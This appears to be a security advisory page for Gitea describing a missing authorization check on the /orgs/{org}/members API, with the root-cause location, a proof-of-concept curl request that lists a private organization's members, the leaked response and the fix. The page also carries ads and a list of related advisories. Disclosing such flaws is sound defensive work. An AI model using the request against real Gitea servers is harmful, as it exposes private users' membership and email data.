Gitea: Private org member list leaked via /members API endpoint — incomplete fix for PR #38145
Published 21 Jul 2026 · Updated 27 Jul 2026
Is your project on an affected gitea.dev?
Look after several Go apps? Indie watches up to 15 repos, private ones too, for $5 a month. See Indie
Affected package
- Affected
- <1.27.0
- Fixed in
- 1.27.0
go get gitea.dev@v1.27.0Details
Summary
PR #38145 fixed ListPublicMembers and IsPublicMember but missed ListMembers. Any authenticated user can enumerate ALL members (not just public ones) of a private organization.
Affected Versions
<= v1.26.4 (latest) and main branch
Root Cause
routers/api/v1/org/member.go — ListMembers():
// Missing check: if !organization.HasOrgOrUserVisible(ctx, ctx.Org.Organization.AsUser(), ctx.Doer) { ctx.APIErrorNotFound() return }
Proof of Concept
Setup: privateorg (private), alice = member, bob = outsider
Bob lists ALL members of private org
curl -s "http://gitea/api/v1/orgs/privateorg/members" \ -H "Authorization: token BOB_TOKEN"
Result: HTTP 200
[{"login":"alice","email":"alice@test.com",...}]
Expected: HTTP 404
Note
This is an incomplete fix variant of PR #38145. That PR fixed public_members endpoints only. ListMembers (/orgs/{org}/members) remains unpatched.
Fix
Add to ListMembers(): if !organization.HasOrgOrUserVisible(ctx, ctx.Org.Organization.AsUser(), ctx.Doer) { ctx.APIErrorNotFound() return }
Is GHSA-prr9-9mp4-5gp2 in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected gitea.dev, and gives you the command that fixes it.
More advisories for gitea.dev
- LowCVE-2026-60004Gitea: Remote Code Execution via diffpatch Git Hook Installation in gitea.dev · 10 Sept 2026
- CriticalCVE-2026-60004Gitea: Remote Code Execution via diffpatch Git Hook Installation · 8 Sept 2026
- LowCVE-2026-58442Gitea: Repository migration SSRF via multi-answer DNS allow-list bypass in gitea.dev · 27 Jul 2026
- LowCVE-2026-58431Gitea: Public-only API token restriction is not enforced on team API routes in gitea.dev · 27 Jul 2026
- LowCVE-2026-58434Gitea: Private Repository Metadata Remains Accessible After Access Revocation in gitea.dev · 27 Jul 2026
- LowCVE-2026-58417Gitea: REST API exposes organization membership of private organizations to public in gitea.dev · 27 Jul 2026
References
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.